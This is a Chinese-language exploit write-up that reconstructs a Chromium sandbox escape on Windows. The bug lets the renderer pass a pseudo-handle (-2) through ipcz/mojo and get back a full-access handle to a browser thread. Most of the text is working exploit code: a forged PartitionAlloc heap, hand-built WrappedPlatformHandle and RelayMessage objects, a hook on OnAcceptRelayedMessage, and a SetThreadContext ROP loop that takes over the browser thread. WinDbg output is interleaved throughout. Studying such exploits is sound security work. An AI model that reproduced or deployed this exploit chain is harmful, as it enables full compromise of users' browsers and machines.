此漏洞成因分析不多,我们需要借助patch来进行分析,先来看他对此次修复的说明:

此次修复主要涉及到一个“sentinel handle“的概念,此句柄会被系统函数误解,这个“sentinel handle“其实就是INVALID_HANDLE_VALUE这些无效句柄

chromium-review
具体去查看修补内容会发现,关键的修复点在DecodeHandle和EncodeHandle两个函数中,当在解码handle时,会检查传入的handle是否是伪句柄,如果是就crash,这里的base::win::IsPseudoHandle函数逻辑比较简单主要就是检查传入的handle是否在-1~-12这个范围内

EncodeHandle函数修复逻辑与DecodeHandle差不多,也是检查handle是否是伪句柄,is_pseudo_handle函数内部还是去调用base::win::IsPseudoHandle函数,至于is_valid则是检查传入的句柄是否是一个合法句柄:

其实分析完上面的patch,这个漏洞的成因以及触发流程就已经很明朗了,首先作为一个沙箱逃逸漏洞我们可控的只有render进程,所以需要render进程主动向browser进程发起请求,在这里可以让render去调用EncodeHandle向browser发送一个handle为-2的请求,然后browserDecodeHandle处理此handle,因为-2代表当前线程句柄,所以会获取browser进程当前线程的句柄权限并创建新的句柄,最后browser进程再将新的线程句柄传递给render进程。
这里可能会有两个疑问,先来看DuplicateHandle函数的原型:

首先DecodeHandle在调用DuplicateHandle函数时,虽然hSourceHandle参数传入了-2,但是hSourceProcessHandle却指向render进程,所以这里拷贝的不是render进程的当前线程句柄吗?

从字面意思来看确实如此,但是微软官方文档有明确说明:

如果 hSourceHandle 是由 GetCurrentProcess 或 GetCurrentThread 返回的伪句柄,则 hSourceProcessHandle 应该是调用 DuplicateHandle 的进程句柄。也就是说当_hSourceHandle_为-1或-2时,hSourceProcessHandle 是browser进程的句柄,所以这里获取的其实还是browser进程线程句柄。
其次,就算这里获得了browser线程的复制句柄,但是 hTargetProcessHandle 是browser,也就是说最终创建的handle也只在browser进程中有效,render进程又是如何得到的呢?这里就要提到EncodeHandle函数了:

从render向browser传递数据需要调用EncodeHandle编码,那从browser向render进程返回数据同样需要调用EncodeHandle编码,而在调用EncodeHandle函数时,如果传入handle的所有者不是发送方则会再次调用DuplicateHandle函数将传入的handle再拷贝一份给发送方进程,而通过上面的分析可知,传入的handle是新创建的browser线程句柄副本,它的所有者肯定不是render进程,所以第二次DuplicateHandle操作会将browser线程句柄再拷贝一份给render进程,这样一来render进程就可以访问browser线程的复制句柄了。
所以此漏洞的触发流程应该如下:
render ========EncodeHandle(-2)=========> browser
browser[ DecodeHandle(-2) -> DuplicateHandle(-2) -> local_dupe ]
render <====EncodeHandle(local_dupe)==== browser
render [ DecodeHandle(local_dupe) ]
其实关于触发流程这部分也可以通过issue tracker后面的几条comment来验证,主要靠comment 9和comment 15:


这里大概是说在漏洞被修补后,google官方又跑了一遍exp,确认patch点可以触发崩溃,在这里可以看出DecodeHandle中的crash在browser中,EncodeHandle中的crash则是在renderer中。
因为在官方issue tracker页面中并未将POC与EXP公开,所以我们需要基于上面的分析以及issue tracker页面中给出的伪代码来还原POC及EXP。
关于漏洞poc部分其实仅靠issue tracker页面给出的伪代码已经基本可以还原了:
// Get node
sub_18002C0C0(node_object, &node_link_object);
ipcz::Node::GetAssignedName__(node_object, &v20);
// Hook "ipcz::NodeLink::OnAcceptRelayedMessage(ipcz::msg::AcceptRelayedMessage&)" function
v7 = *(_QWORD *)node_link_object + 264i64;
OnAcceptRelayedMessage_func_ptr = v7;
v7 &= 0xFFFFFFFFFFFFF000ui64;
VirtualProtect((LPVOID)v7, 0x1000ui64, 4u, &flOldProtect);
OnAcceptRelayedMessage_original = *(__int64 (__fastcall **)(_QWORD, _QWORD))OnAcceptRelayedMessage_func_ptr;
*(_QWORD *)OnAcceptRelayedMessage_func_ptr = OnAcceptRelayedMessage_hook;
VirtualProtect((LPVOID)v7, 0x1000ui64, flOldProtect, &flOldProtect);
// Send RelayMessage with unknown message_id (0x69)
LODWORD(v7) = GetLastError();
v17 = -2i64;
base__GetProgramCounter__();
SetLastError(v7);
mojo::PlatformHandle::PlatformHandle_base::win::GenericScopedHandle_base::win::HandleTraits_base::win::DummyVerifierTraits__(
(__int64)&v18, &v17);
v8 = (_QWORD *)operator_new_unsigned_long_long_(32i64);
mojo::PlatformHandle::operator__mojo::PlatformHandle___((__int64)v23, (__int64)&v18);
mojo::core::ipcz_driver::WrappedPlatformHandle::WrappedPlatformHandle_mojo::PlatformHandle_(v8, (__int64)v23);
LOBYTE(v9) = 0xAA;
memset(v23, v9, sizeof(v23));
ipcz::Message::Message_unsigned_char__unsigned_long_long_(v23, 0x69, 0x10i64);
v10 = v23[21];
v11 = *(unsigned __int8 *)v23[21];
*(_QWORD *)(v23[21] + v11) = 0xDEADBEEF12345678ui64;
*(_QWORD *)(v10 + v11 + 8) = 0i64;
DriverObject(&v16, *(_QWORD *)(node_object + 24), (__int64)v8);
TakeDriverObject__(driver_object, (__int64 *)&v16);
ipcz::Message::AppendDriverObject_ipcz::DriverObject_((__int64)v23, (__int64)driver_object);
ipcz::NodeLink::RelayMessage_ipcz::NodeName_const___ipcz::Message__((__int64)node_link_object, &v20, (__int64)v23);
这里的代码执行流程如下:
这里的node_object是一个全局变量g_node,通常在chrome中每个进程只有一个node节点对象,但多个node也是被允许的,但似乎主要是在测试场景中,比如在一个进程中模拟逻辑上的多进程间通信,这一点在CreateNode函数注释中有提到:

既然g_node是一个全局变量,那要获取他就简单得多了,我们可以直接使用chrome模块基址+硬编码偏移,也可以通过特征码去chrome模块内存空间中去遍历查找。
而node_link_object则可以从g_node中获取,注意上面g_node本质是一个用来包装真实node的指针对象,所以要得到真实的node地址需要多一次指针解引用:



真实的ipcz::Node对象结构如下:

这里面主要关注broker_link_字段,从这里对broker link的描述来看,他是进程启动后第一个连接的代理节点,并且如果此连接断开的话将会无法维持与其他节点的连接,虽然我没有找到比较权威官方文档的明确说明,但从他的功能描述来看,这个代理进程应该就是浏览器主进程:

所以得到g_node与broker_link后我们就可以从render进程调用其相关函数向browser进程发送message,也就是说完成这一步相当于我们就基本完成了伪代码中sub_18002C0C0函数及node_object获取的步骤。
后面需要构造四个对象:PlatformHandle、WrappedPlatformHandle、Message、DriverObject,这几个对象将会携带可以触发browser端漏洞的payload。
0:023> dt chrome!mojo::PlatformHandle
+0x000 type_ : mojo::PlatformHandle::Type
+0x008 handle_ : base::win::GenericScopedHandle<base::win::HandleTraits,base::win::DummyVerifierTraits>
PlatformHandle对象比较简单type_用于标识handle类型,而handle_则可以直接携带前面提到的伪句柄-2,这部分我们完全可以自己定义,但要注意内存对齐,否则的话可能会与chromium中的PlatformHandle对象大小不一致,导致越界,PlatformHandle相关内容可查阅代码:PlatformHandle,此处不再赘述:
struct ScopedHandle {
HANDLE handle_;
};
struct alignas(8) PlatformHandle {
Type type_;
ScopedHandle handle_;
};
WrappedPlatformHandle的构造可能会复杂一些:
0:023> dt chrome!mojo::core::ipcz_driver::WrappedPlatformHandle
+0x008 ref_count_ : base::AtomicRefCount
+0x000 __VFN_table : Ptr64
+0x00c type_ : mojo::core::ipcz_driver::ObjectBase::Type
+0x010 handle_ : mojo::PlatformHandle
type_用于标记对象类型,handle_就是前面构造好的PlatformHandle对象,这两个字段并不复杂,这里ref_count_用于标记对象引用次数,这里我并没有深究,直接写入1就可以正常使用了,虽然可能会触发几个DCHECK,但这在stable版本上完全不是问题,因为他根本不会被触发。__VFN_table则是该对象的虚表直接找到写入即可。
但上面这些都不是这个对象最麻烦的地方,它最麻烦的地方在于,WrappedPlatformHandle对象的内存由PartitionAlloc管理,当该对象使用完成后将会由PartitionAlloc回收,这个过程会对其PartitionRoot元数据区进行一些操作,而我们伪造的WrappedPlatformHandle对象并不是一个真的由PartitionAlloc管理的对象,所以在回收释放时将会出现多个非法内存访问,为应对这个问题,我们需要自己实现一个堆管理函数,可以申请保留一大段内存,然后在保留内存段中计算找到一个与kSuperPageBaseMask对齐的地址,然后提交,之后将PartitonAlloc中所需要读写的内容写入到元数据区相关位置即可绕过这些崩溃,同样与上面的ref_count一样,对于这块内容,我的原则是能跑就行,并没有完整的去构造一个伪SuperPage,因为如果要完整构造的话需要花一定的时间去查看相关文档,且最终构造的dll需要通过我们自己实现的shellcode映射进渲染进程执行,如果代码逻辑过于繁杂庞大,那dll的尺寸也将会同样变大,这对js rce的利用来讲是不利的。
部分代码:
class HeapHelper {
public:
// ...省略
bool init_heap() {
// 先 reserve 更大的范围(HEAP_SECTION_SIZE + 最多 2MiB)
size_t reserve_size = HEAP_SECTION_SIZE + kSuperPageSize;
//保留内存
uintptr_t reserved = (uintptr_t)VirtualAlloc(
NULL,
reserve_size,
MEM_RESERVE,
PAGE_NOACCESS);
if (reserved == 0)
return false;
// 计算对齐地址
uintptr_t aligned_base =
(reserved + kSuperPageOffsetMask) &
kSuperPageBaseMask;
// 对齐后的地址+堆段大小后不应该超过前面的保留内存大小,否则会越界
if ((aligned_base + HEAP_SECTION_SIZE) >
(reserved + reserve_size)) {
VirtualFree(
(LPVOID)reserved,
0, MEM_RELEASE);
return false;
}
// 提交内存
this->base_ = (uintptr_t)VirtualAlloc(
(LPVOID)aligned_base,
HEAP_SECTION_SIZE,
MEM_COMMIT,
PAGE_READWRITE);
if (this->base_ == 0) {
VirtualFree(
(LPVOID)reserved,
0, MEM_RELEASE);
return false;
}
// 元数据区域全部填充0
memset((LPVOID)this->base_, 0, HEAP_METADATA_SIZE);
// 重要!填充相关元数据字段,省略...
// 相关对象字段,方便内存的申请与释放
this->metadata_end_ = this->base_ + HEAP_METADATA_SIZE;
this->current_addr_ = this->metadata_end_;
this->end_ = this->base_ + HEAP_SECTION_SIZE;
return true;
}
// 省略其他相关函数实现...
}
Message对象的构造会更加复杂:
0:023> dt chrome!ipcz::Message
+0x000 inlined_data_ : std::__Cr::optional<absl::InlinedVector<unsigned char,128,std::__Cr::allocator<unsigned char> > >
+0x090 received_data_ : std::__Cr::optional<ipcz::Message::ReceivedDataBuffer>
+0x0a8 data_ : absl::Span<unsigned char>
+0x0b8 driver_objects_ : absl::InlinedVector<ipcz::DriverObject,2,std::__Cr::allocator<ipcz::DriverObject> >
+0x0e0 transmissible_driver_handles_ : absl::InlinedVector<unsigned long long,2,std::__Cr::allocator<unsigned long long> >
+0x0f8 envelope_ : ipcz::DriverObject
但是我们可以直接用Message对象的构造函数来帮我们构造,直接在text段根据函数特征码匹配搜索其构造函数,也可以直接用硬编码的函数地址偏移+chrome模块基址来获取函数地址,最后通过函数指针引用然后直接将我们伪造Message对象的内存作为this指针及函数的首个参数传入,并传入其他相关参数执行后就可以得到一个完整的Message对象。要额外注意的是message_id参数,我们之后需要通过他来过滤browser返回给我们的message,我用了issue tracker里面用到的0x69来做message_id,那肯定就会有人好奇,为什么前面的几个对象我不用这种办法直接用类原有的构造函数去构造,原因很简单,因为上面几个类的构造函数都被内联了,而直接调用内联函数地址的话,会破坏上下文并且函数传参也会出问题,比如我们的exp去调用Message的构造函数,那这个函数执行完后应该回到我们的exp中,但如果直接调用内联函数的话,这个函数执行完毕后会回到内联他的那个父函数中去,这样就会完全破坏我们的上下文。即使是Message我也只找到了一个符合要求没被内联的重载构造函数:

0:023> x chrome!ipcz::Message::Message
00007ff9`21ae4750 chrome!ipcz::Message::Message (unsigned char, unsigned int64) // 只有他没被内联
00007ff9`21affad1 chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+d1
00007ff9`21affbc4 chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+1c4
00007ff9`21affcc6 chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+2c6
00007ff9`21affdcd chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+3cd
00007ff9`21affeb2 chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+4b2
00007ff9`21afff97 chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+597
00007ff9`21b0007c chrome!ipcz::Message::Message = (inline caller) chrome!ipcz::msg::NodeMessageListener::OnTransportMessage+67c
// 省略...
最后还需要构造DriverObject对象,他将携带我们前面构造好的WrappedPlatformHandle对象,WrappedPlatformHandle对象再通过一开始构造好的PlatformHandle对象来将伪句柄传给browser。DriverObject对象结构:
0:023> dt chrome!ipcz::DriverObject
+0x000 driver_ : Ptr64 IpczDriver
+0x008 handle_ : Uint8B
这个对象也并不复杂,handle_就是WrappedPlatformHandle对象地址,而driver_则可以直接从前面获取到的全局node对象中获取到:
0:023> dt chrome!ipcz::Node
+0x008 ref_count_ : std::__Cr::atomic<int>
+0x000 __VFN_table : Ptr64
+0x00c type_ : ipcz::APIObject::ObjectType
+0x010 type_ : ipcz::NodeType
+0x018 driver_ : Ptr64 IpczDriver //driver_在这里
+0x020 options_ : IpczCreateNodeOptions
+0x050 features_ : ipcz::Features
+0x058 mutex_ : absl::Mutex
+0x060 assigned_name_ : ipcz::NodeName
+0x070 broker_link_ : ipcz::Ref<ipcz::NodeLink>
+0x078 allocation_delegate_link_ : ipcz::Ref<ipcz::NodeLink>
+0x080 connections_ : absl::flat_hash_map<ipcz::NodeName,ipcz::Node::Connection,absl::hash_internal::Hash<ipcz::NodeName>,std::__Cr::equal_to<ipcz::NodeName>,std::__Cr::allocator<std::__Cr::pair<const ipcz::NodeName,ipcz::Node::Connection> > >
+0x0a0 pending_introductions_ : absl::flat_hash_map<ipcz::NodeName,std::__Cr::unique_ptr<ipcz::Node::PendingIntroduction,std::__Cr::default_delete<ipcz::Node::PendingIntroduction> >,absl::hash_internal::Hash<ipcz::NodeName>,std::__Cr::equal_to<ipcz::NodeName>,std::__Cr::allocator<std::__Cr::pair<const ipcz::NodeName,std::__Cr::unique_ptr<ipcz::Node::PendingIntroduction,std::__Cr::default_delete<ipcz::Node::PendingIntroduction> > > > >
+0x0c0 in_progress_introductions_ : absl::flat_hash_set<std::__Cr::pair<ipcz::NodeName,ipcz::NodeName>,absl::hash_internal::Hash<std::__Cr::pair<ipcz::NodeName,ipcz::NodeName> >,std::__Cr::equal_to<std::__Cr::pair<ipcz::NodeName,ipcz::NodeName> >,std::__Cr::allocator<std::__Cr::pair<ipcz::NodeName,ipcz::NodeName> > >
+0x0e0 broker_link_callbacks_ : std::__Cr::vector<std::__Cr::function<void (ipcz::Ref<ipcz::NodeLink>)>,std::__Cr::allocator<std::__Cr::function<void (ipcz::Ref<ipcz::NodeLink>)> > >
+0x0f8 other_brokers_ : absl::flat_hash_map<ipcz::NodeName,ipcz::Ref<ipcz::NodeLink>,absl::hash_internal::Hash<ipcz::NodeName>,std::__Cr::equal_to<ipcz::NodeName>,std::__Cr::allocator<std::__Cr::pair<const ipcz::NodeName,ipcz::Ref<ipcz::NodeLink> > > >
之后还需要将构造好的driver_object添加到message对象的driver_objects_列表中,这部分的实现也可以直接调用chromium实现好的函数:

最后,只要将上面构造好的message发送出去,在issue tracker的伪代码中使用了NodeLink::RelayMessage函数,但该函数实际是一个内联函数:
0:023> x chrome!ipcz::NodeLink::RelayMessage
00007ff9`21af498c chrome!ipcz::NodeLink::RelayMessage = (inline caller) chrome!ipcz::NodeLink::Transmit+16c
但是好在内联函数通常代码都比较简单,我们可以自实现一个。RelayMessage函数发送message主要依赖于 NodeLink::Transmit函数:

NodeLink::Transmit会与NodeLink::RelayMessage相互引用,当当前message准备好发送时将直接调用 DriverTransport::Transmit传递message,如果为准备好,就会再次调用NodeLink::RelayMessage:

理论上我们可以直接调用Transmit,但问题是阅读代码后就会发现Transmit实际发送的是一个ipcz::msg::RelayMessage消息:

他是Message的子类,在RelayMessage函数中会通过传入的Message来初始化新创建的ipcz::msg::RelayMessage消息,所以我们还需要编写一个函数来创建及初始化ipcz::msg::RelayMessage消息,这个message对象十分重要,这里初始化的主要是RelayMessage_Params成员对象,它在内存中实际位于RelayMessage的inlined_data中,它主要用来保存RelayMessage对象中的一些信息,比如其中destination成员对象为消息最终要送达的进程,也就是说如果我们直接传送Message对象的话browser进程是找不到消息送达进程的,而在这个漏洞环境中,我们需要将destination设置为渲染进程自身,这样我们才能受到browser反馈回来的handle。

下一条代码用于根据Message对象data的size来创建RelayMessage的data,AllocateArray函数内部调用了AllocateGenericArray函数,此函数内部逻辑比较复杂,自实现不太现实,但是此函数未被内联,我们可以直接获取其地址call过去,传参逻辑也比较简单将sizeof(uint8_t)作为第一个参数,Message.data_.size作为第二各参数传入即可:

之后需要将Message中的data完全拷贝到RelayMessage的data中:

这里的逻辑很好理解,但是我在这里出现过一处问题,可以看到GetArrayData函数最后会将得到的地址+1,因为我没有仔细的去读这部分代码,将+1误认为是+1字节,但仔细看上一条代码后就会发现,这里+1其实是+(1*sizeof(internal::ArrayHeader)),如果在这里地址计算错误的话,就会导致拷贝的数据内容将前面已经构造好的数据内容覆盖,从而导致构造出错误的RelayMessage:

最后就是将Message的driver_objects拷贝到RelayMessage的driver_objects中,并设置RelayMessage_Params的v0::driver_objects:

Message::AppendDriverObjects的代码逻辑也很简单,它主要就是构造了一个internal::DriverObjectArrayData实例并返回,而driver_object_这部分我们直接用memcpy拷贝即可,效果是一样的:

最终我们可以得到这样一个函数:
Message* build_relay_message(const NodeName* n, Message* msg) {
Message* rm =
reinterpret_cast<Message*>(
heap.alloc_block(sizeof(Message)));
memset(rm, 0xAA, sizeof(Message));
message_func(rm, 0x42, sizeof(RelayMessage_Params));
RelayMessage_Params* params =
(RelayMessage_Params*)((uintptr_t)rm + 0x20);
params->header.size = sizeof(RelayMessage_Params);
params->header.padding = 0;
// set to node name
params->V0.destination.hig = n->hig;
params->V0.destination.low = n->low;
params->V0.padding = 0;
uintptr_t msg_data_size =
*((uintptr_t*)(msg->data_ + 0x8));
params->V0.data =
AllocateGenericArray(
rm, sizeof(uint8_t), msg_data_size);
size_t offset = params->V0.data;
uintptr_t data_ptr = (*(uintptr_t*)(rm->data_));
uintptr_t dst = data_ptr + offset + sizeof(ArrayHeader);
uintptr_t msg_size = (*(uintptr_t*)(msg->data_ + 0x8));
uintptr_t src = *(uintptr_t*)(msg->data_);
// copy Message data to RelayMessage data
memcpy((void*)dst, (void*)src, msg_size);
// AppendDriverObjects
uintptr_t driver_obj_src =
(uintptr_t)(msg->driver_objects_);
uintptr_t driver_obj_dst =
(uintptr_t)(rm->driver_objects_);
DriverObjectArrayData array_data = {
.first_object_index = 0,
.num_objects = 1
};
params->V0.driver_objects.first_object_index =
array_data.first_object_index;
params->V0.driver_objects.num_objects =
array_data.num_objects;
memcpy((void*)driver_obj_dst,
(void*)driver_obj_src, 0x28);
return rm;
}
最终可以得到这样一个消息对象:
0:022> dt 0x215ad004148 chrome!ipcz::msg::RelayMessage
+0x000 inlined_data_ : std::__Cr::optional<absl::InlinedVector<unsigned char,128,std::__Cr::allocator<unsigned char> > >
+0x090 received_data_ : std::__Cr::optional<ipcz::Message::ReceivedDataBuffer>
+0x0a8 data_ : absl::Span<unsigned char>
+0x0b8 driver_objects_ : absl::InlinedVector<ipcz::DriverObject,2,std::__Cr::allocator<ipcz::DriverObject> >
+0x0e0 transmissible_driver_handles_ : absl::InlinedVector<unsigned long long,2,std::__Cr::allocator<unsigned long long> >
+0x0f8 envelope_ : ipcz::DriverObject
=00007ff9`307f8e40 kVersions : [1] ipcz::internal::VersionMetadata
0:022> dq 0x215ad004148
00000215`ad004148 00000000`000000e0 00000000`00420018
00000215`ad004158 00000000`00000000 00000000`00000000
00000215`ad004168 00000000`00000028 993e4de6`bf8be04d // node name in here(00000215`ad004168+0x8、0x00000215`ad004178)
00000215`ad004178 ec424ad9`a0575110 00000000`00000040
00000215`ad004188 00000001`00000000 00000028`00000030
00000215`ad004198 00000000`00690018 00000000`00000000
00000215`ad0041a8 00000000`00000000 deadbeef`12345678
00000215`ad0041b8 00000000`00000000 aaaaaaaa`aaaaaaaa
最后拿到构造好的RelayMessage后就可以直接调用Transmit函数将消息传递给browser。消息发送成功后渲染进程的NodeLink::OnAcceptRelayedMessage函数就会被调用:

解析收到的accept对象,我们可以从它0xA8偏移处得到一个地址指针:

从这里可以找到我们传入的0x69 message_id,我们可以据此来判断当前是否是我们需要的message。
然后从accept+0xC8出可以得到WrappedPlatformHandle对象指针,从此对象中可以得到Browser返回给渲染进程的handle:
0:010> r rdx
rdx=00000039c73fee10
0:010> dq 00000039c73fee10+0xc8 l1
00000039`c73feed8 00001924`0048ab90
0:010> dt 00001924`0048ab90 chrome!mojo::core::ipcz_driver::WrappedPlatformHandle
+0x008 ref_count_ : base::AtomicRefCount
+0x000 __VFN_table : 0x00007ff8`15828560
+0x00c type_ : 4 ( kWrappedPlatformHandle )
+0x010 handle_ : mojo::PlatformHandle
0:010> dx -r1 (*((chrome!mojo::PlatformHandle *)0x19240048aba0))
(*((chrome!mojo::PlatformHandle *)0x19240048aba0)) [Type: mojo::PlatformHandle]
[+0x000] type_ : kHandle (1) [Type: mojo::PlatformHandle::Type]
[+0x008] handle_ [Type: base::win::GenericScopedHandle<base::win::HandleTraits,base::win::DummyVerifierTraits>]
0:010> dx -r1 (*((chrome!base::win::GenericScopedHandle<base::win::HandleTraits,base::win::DummyVerifierTraits> *)0x19240048aba8))
(*((chrome!base::win::GenericScopedHandle<base::win::HandleTraits,base::win::DummyVerifierTraits> *)0x19240048aba8)) [Type: base::win::GenericScopedHandle<base::win::HandleTraits,base::win::DummyVerifierTraits>]
[+0x000] handle_ : 0x740 [Type: void *] // handle in here
所以想要得到Browser返回的handle,只需要hook OnAcceptRelayedMessage函数即可。
最后我们可以用工具查看渲染进程的句柄信息:


可以看到渲染进程996具有browser进程1596 IOThread线程的完整控制权限。
后续的利用步骤就如ISSUE TRACKER的描述,先构造ROP链,再通过CONTEXT结构体以及SetThreadContext、GetThreadContext函数来控制设置browser线程上下文执行rop链:
CONTEXT Context;
memset(&Context, 0, sizeof(Context));
Context.ContextFlags = CONTEXT_ALL;
if ( GetThreadContext(handle, &Context) ) {
Context.ContextFlags = CONTEXT_ALL;
stack_pos = Context.Rsp - 256;
Context.Rdi = Context.Rsp - 296;
Context.R14 = code_gadget_end_address_EBFE;
Context.Rip = code_gadget_start_address1;
Context.Rbx = code_gadget_end_address_EBFE;
Context.Rsp -= 256i64;
Context.Rbp = Context.Rsp;
SetThreadContext(handle, &Context);
v4 = code_gadget_end_address_EBFE;
do
{
ResumeThread(handle);
SuspendThread(handle);
GetThreadContext(handle, &Context);
} while ( Context.Rip != v4 );
}
通过完全自实现去编写的exp dll甚至比漏洞提交者提供的更易用一些,漏洞提交者提交给谷歌官方的exp虽然我们没有权限查看或下载,但是我们可以看到他的大小要1.8MB:

而我们实现的exp在release模式下生成的exp仅有111.6KB,即使是debug模式下生成的也仅有503.3KB只有漏洞提交者exp大小的一半:


最终执行效果:

我并没有用RCE漏洞,而是直接使用了V8内置百分号函数%DeserializeWasmModule等来实现一个shellcode执行环境,所以我在启动参数使用了–js-flags=“-allow-natives-syntax”,最后在shellcode中解析并执行2783的沙箱逃逸exp